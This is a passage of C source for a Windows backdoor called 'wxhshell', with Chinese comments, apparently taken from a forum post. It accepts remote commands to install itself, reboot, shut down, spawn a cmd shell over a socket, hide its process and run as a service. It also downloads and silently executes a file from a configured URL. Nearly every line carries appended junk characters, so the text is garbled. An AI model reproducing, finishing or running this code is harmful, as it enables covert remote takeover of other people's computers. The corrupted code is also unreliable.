  Ur n  
  // 帮助 :u AjV  
  case '?': { tO7I&LNE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bZu$0IG  
    break; iEe#aO"D!  
  } <H!O:Mf_p  
  // 安装 ~bWhth2*  
  case 'i': { JXL'\De ;  
    if(Install()) m!;G/s*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xwi!:PAf,o  
    else R<>tDwsZGa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z[*zuo  
    break; KA?v.s  
    } G<|:605  
  // 卸载 ssPI$IRg!  
  case 'r': { &h\7^=s.  
    if(Uninstall()) _O LI%o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yk`)Cq%=;  
    else 3\]~!;dI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y^yG/F  
    break; |ebvx?\  
    } yYg   
  // 显示 wxhshell 所在路径 *G\=i A  
  case 'p': { >C:If0S4X  
    char svExeFile[MAX_PATH]; EPv%LX_j  
    strcpy(svExeFile,"\n\r"); b1 H7  
      strcat(svExeFile,ExeFile); URLk9PI  
        send(wsh,svExeFile,strlen(svExeFile),0); x+K gc[r  
    break;  UPR/XQ  
    } /;7ID41  
  // 重启 ]?M)NRk%S  
  case 'b': { .5 ]{M\aA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4'` C1a  
    if(Boot(REBOOT)) X'jr|s^s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {-J:4*`  
    else { ,b4g.CV  
    closesocket(wsh); ?@>;/@  
    ExitThread(0); *CzCUu:%t  
    }  ; HP#bx  
    break; 2p+C%"n>  
    } ^B|YO8.v  
  // 关机 >r=6A   
  case 'd': { 1!d)PK>1$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VJ*\pM@no  
    if(Boot(SHUTDOWN)) $ 3]b>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tGC2 ^a#~  
    else { Tn /Ut}]O  
    closesocket(wsh); 22|"K**3J|  
    ExitThread(0); r 3|4gG  
    } 'd+:D'  
    break; i0iez9B  
    } Y|:YrZSC  
  // 获取shell xFU5\Zuw  
  case 's': { vcwK6G  
    CmdShell(wsh); HZ{n&iJ  
    closesocket(wsh); <$Ztik1  
    ExitThread(0); &lq^dFP&Su  
    break; + LS3T^  
  } _=?2 3  
  // 退出 z|Ap\[GS  
  case 'x': { EQ/^&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %6Rn4J^^  
    CloseIt(wsh); `/0u{[  
    break; W-ez[raY  
    } _Ds@lVY  
  // 离开 >IBTBh_ka  
  case 'q': { "9%q bM B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z,avQR&  
    closesocket(wsh); /,LfA2^_j{  
    WSACleanup(); o(zTNk5d  
    exit(1); =!<^^6LZ  
    break; .$P|^Zx,  
        } +v!v[qn  
  } Hsgy'X%om  
  } TOrMXcn!/  
0d";Hh:  
  // 提示信息 e62y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _; 7fraqX  
} |_, /u_  
  } 0 7\02f  
><K!~pst}  
  return; ]Z/R!y?l"G  
} "9ue76  
DRp&IP<  
// shell模块句柄 F3Ap1-%z  
int CmdShell(SOCKET sock) OT;cfkf7  
{ -zTEL (r  
STARTUPINFO si; BJgDo  
ZeroMemory(&si,sizeof(si)); Xo8DEr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <}]{~y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rd">JEK;;  
PROCESS_INFORMATION ProcessInfo; rw]yKH  
char cmdline[]="cmd"; XGhwrI^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xHe^"LL  
  return 0; nEyI t&> 9  
} SY|Ez!tU:N  
uOre,AQR  
// 自身启动模式 ik IzhUWE  
int StartFromService(void) kZv*rWAm  
{ 9ad6uTc  
typedef struct 9T?64t<Ju  
{ 5uttv:@=  
  DWORD ExitStatus; 'bPk'pj9  
  DWORD PebBaseAddress; wFb@1ae\  
  DWORD AffinityMask; 2f^-~dz  
  DWORD BasePriority; +9C;<f  
  ULONG UniqueProcessId; RG&6FRoq  
  ULONG InheritedFromUniqueProcessId; PtqGX=u  
}   PROCESS_BASIC_INFORMATION; 8 URj1 W  
Fg4@On[,i  
PROCNTQSIP NtQueryInformationProcess; .it2NS  
'in@9XO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kW +G1|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ).Gd1pE  
O_AGMW/2+  
  HANDLE             hProcess; cQn)^jx=  
  PROCESS_BASIC_INFORMATION pbi; [@|be.g  
A="fj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q#'VJA:A5&  
  if(NULL == hInst ) return 0; p[-{]!  
k}U JVH21k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h0lu!m#\_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `|?]CkP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SM<d  
-dG,*0 >  
  if (!NtQueryInformationProcess) return 0; $rB6<  
Y"*:&E2)r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); puF%=i  
  if(!hProcess) return 0; "H?QqrKx  
+Vy_9I(4Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0;<OYbm3<  
{*$9,  
  CloseHandle(hProcess); i-.c= M  
N~| t!G*9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S=PJhAF  
if(hProcess==NULL) return 0; W&KM/9d  
s!de2z  
HMODULE hMod; !W~<q{VTs  
char procName[255]; <xqba4O  
unsigned long cbNeeded; { 8p\Y  
SK-W%t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @[v8}D  
@RVOXkVo  
  CloseHandle(hProcess); Q6x%  
6v>z h  
if(strstr(procName,"services")) return 1; // 以服务启动 \iga Q\~  
oCuV9dA.  
  return 0; // 注册表启动 Hm4bN\%  
} 2yxi= XWZ  
VDpxk$a  
// 主模块 DEtf(lW_  
int StartWxhshell(LPSTR lpCmdLine) {cR3.%wX  
{ B6%&gXr\  
  SOCKET wsl; !=[>r'+3  
BOOL val=TRUE; /< QSe  
  int port=0; bjzx!OCpV  
  struct sockaddr_in door; Bm} iU~(Z`  
nh0&'hA  
  if(wscfg.ws_autoins) Install(); agT7=hX].  
j 3P$@<  
port=atoi(lpCmdLine); eM }W6vIn  
8[R1A  
if(port<=0) port=wscfg.ws_port; m8AAp1=  
ve-8*Xa  
  WSADATA data; 3I*uV!notJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h'!V8'}O?  
t 7^D-l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KTv4< c]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s#P:6]Ar  
  door.sin_family = AF_INET; JJ-i_5\q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U|?,N0%Z1  
  door.sin_port = htons(port); kFwxK"n@C  
9|3o<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z Xb}R^O-  
closesocket(wsl); Y|RdzC M  
return 1; |X3">U +-  
} On%,l  
)E-E0Hl>7  
  if(listen(wsl,2) == INVALID_SOCKET) { YxyG\J\|,  
closesocket(wsl); ANb"oX c  
return 1; N9`97;.X  
}  Q; 20T  
  Wxhshell(wsl); +'%\Pr(  
  WSACleanup(); X" \}sl 5  
@ef$b?wg  
return 0; RH~sbnZ)F  
b{pg!/N4  
} Hg whe=P  
jb3.W  
// 以NT服务方式启动 Spo +@G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L|J~9FM  
{ 9wMEvX70  
DWORD   status = 0; a( |xw  
  DWORD   specificError = 0xfffffff; MA6P"?  
9U'[88  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,LZ(^ u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rS,j;8D-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~p.%.b;~t  
  serviceStatus.dwWin32ExitCode     = 0; \JU{xQMB  
  serviceStatus.dwServiceSpecificExitCode = 0; bKUyBk,\#  
  serviceStatus.dwCheckPoint       = 0; J7n5Ps\M  
  serviceStatus.dwWaitHint       = 0; w_3xKnMT\  
g ;LVECk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PG"@A  
  if (hServiceStatusHandle==0) return; =ybGb7?  
zX~}]?|9  
status = GetLastError(); )S Q('vwg  
  if (status!=NO_ERROR) H%C\Uz"o  
{ yQwVQUW8B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; waQtr,m)  
    serviceStatus.dwCheckPoint       = 0; PkJcd->  
    serviceStatus.dwWaitHint       = 0; ?l 9=$'  
    serviceStatus.dwWin32ExitCode     = status; u-39r^`5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3agNBF2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ut_mrb+W  
    return; nsl*Dm"*F  
  } 9A+M|;O  
9GPb$ gtx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j{"[Ec  
  serviceStatus.dwCheckPoint       = 0; "Z~`e]>  
  serviceStatus.dwWaitHint       = 0; Pw  xIz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o&,Y<$!:VH  
} R9vY:oN%  
^6qjSfFW}  
// 处理NT服务事件,比如:启动、停止 0I^Eo|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cAibB&`~  
{ ^jOCenE 3  
switch(fdwControl) G4m4k  
{ &-4 ?!  
case SERVICE_CONTROL_STOP: ~},~c:fF?  
  serviceStatus.dwWin32ExitCode = 0; :d({dF_k;p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q"'V9m7 i  
  serviceStatus.dwCheckPoint   = 0; zDd5cxFdZ  
  serviceStatus.dwWaitHint     = 0; X'@f"=v9k  
  { hHEPNR[.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $+TYvA'N  
  } ?`aTu:1#Z  
  return; "& Mou  
case SERVICE_CONTROL_PAUSE: A;T[['  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J 8q  
  break; y1u9 B;Fd  
case SERVICE_CONTROL_CONTINUE: ?@3&dk~ni  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6V P)$h8  
  break; B.6`cM^  
case SERVICE_CONTROL_INTERROGATE: J | q^+K  
  break; B kV(81"C  
}; jN{Zw*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0d`5Gy_D%  
} M8zE3;5  
gD1+]am  
// 标准应用程序主函数 cUsL 6y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8T7f[?  
{ G h=<0WaF=  
?} X}#  
// 获取操作系统版本 kXEtuO5FUM  
OsIsNt=GetOsVer(); Z8fJ{uOIL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); esteFLm`6  
z^3Q.4Qc6^  
  // 从命令行安装 CpSK(2j  
  if(strpbrk(lpCmdLine,"iI")) Install(); e{JVXc[D  
6WO7+M;z  
  // 下载执行文件 :])JaS^  
if(wscfg.ws_downexe) { fCr\u6Tb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /6jGt'^U  
  WinExec(wscfg.ws_filenam,SW_HIDE); wibwyzo  
} <N-=fad]  
9N1#V K  
if(!OsIsNt) { [9HYO  
// 如果时win9x,隐藏进程并且设置为注册表启动 117c,yM0  
HideProc(); 8H_l[/  
StartWxhshell(lpCmdLine); $W*|~}F/Ap  
} F"v:}Vy|   
else p;e$kg1  
  if(StartFromService()) oR#my ^  
  // 以服务方式启动 #Z!#;%S  
  StartServiceCtrlDispatcher(DispatchTable); U$%|0@`~  
else AI~9m-,mE  
  // 普通方式启动 jiq2x\\!  
  StartWxhshell(lpCmdLine); 7$#rNYa,z  
gg(k7e  
return 0; (FG^UA#'  
}
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只看该作者 1 发表于: 2006-10-10
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